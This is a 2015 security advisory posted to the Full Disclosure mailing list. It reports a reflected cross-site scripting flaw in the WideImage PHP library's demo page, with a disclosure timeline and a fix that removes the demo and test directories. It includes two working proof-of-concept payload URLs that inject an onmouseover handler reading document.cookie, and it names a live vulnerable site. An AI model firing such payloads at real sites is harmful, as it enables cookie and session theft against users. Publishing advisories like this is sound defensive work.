[FD] WideImage Demo Code Cross Site Scripting (XSS)

[47 <a_47@xxxxxxxxxx>]

WideImage Demo Code Cross Site Scripting (XSS)

Description:
WideImage is an object-oriented library for image manipulation. 
It requires PHP 5.2+ with GD2 extension. The library provides a simple way to 
loading, manipulating and saving images in the most common image formats.

Type of vulnerability: 
Reflected XSS

Threat level:
Medium

Tested on: 
Windows 8.1

Product: 
WideImage - An Open Source PHP library for image manipulation.

Version: 
11.02.19

Build date: 
2011-02-19

Live vulnerable URL during discovery:
http://wideimage.sourceforge.net/wp-content/current/demo/index.php

How to replicate this vulnerability:
Assuming WideImage is installed on http://localhost:8080/wideimage/, one can 
inject
JavaScript with:

Payload URL 1:
http://localhost:8080/wideimage/demo/?colors=255&demo=applyConvolution&dither=1&dither_cb=1&div=1&match_palette=1&match_palette_cb=1&matrix=2%25200%25200%252c%25200%2520-1%25200%252c%25200%25200%2520-1%22%20onmouseover%3dalert%28document.cookie%29%20bad%3d%22&offset=220&output=preset%20for%20demo

Payload URL 1:
http://localhost:8080/wideimage/demo/?colors=255&demo=applyConvolution&dither=1&dither_cb=1&div=1&match_palette=1&match_palette_cb=1&matrix=2%25200%25200%252c%25200%2520-1%25200%252c%25200%25200%2520-1%22%20onmouseover%3dprompt%666%29%20bad%3d%22&offset=220&output=preset%20for%20demo

Workaround/Fix:
To fix this, please remove the two following directories:
public_html/wideimage/demo
public_html/wideimage/test

Disclosure Time-line:
Notified vendor: July 04, 2015
Response from vendor: No response. 
Disclosure due to: Page here at http://wideimage.sourceforge.net/support/ says, "6. 
If it's bug. Report it."
Fix: Not fixed at this time (July 07, 2015)
WideImage Vendor Bug Ticket Reference: 
http://sourceforge.net/p/wideimage/bugs/42/

Credits and Copyright:
This vulnerability was discovered by Mohammad Sikkandar Sha.
It's licensed under the creative commons attribution license 4.0.

Mohammad Sikkandar Sha, 2015-July-07, Email: sikkandar.lynx@xxxxxxxxx

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/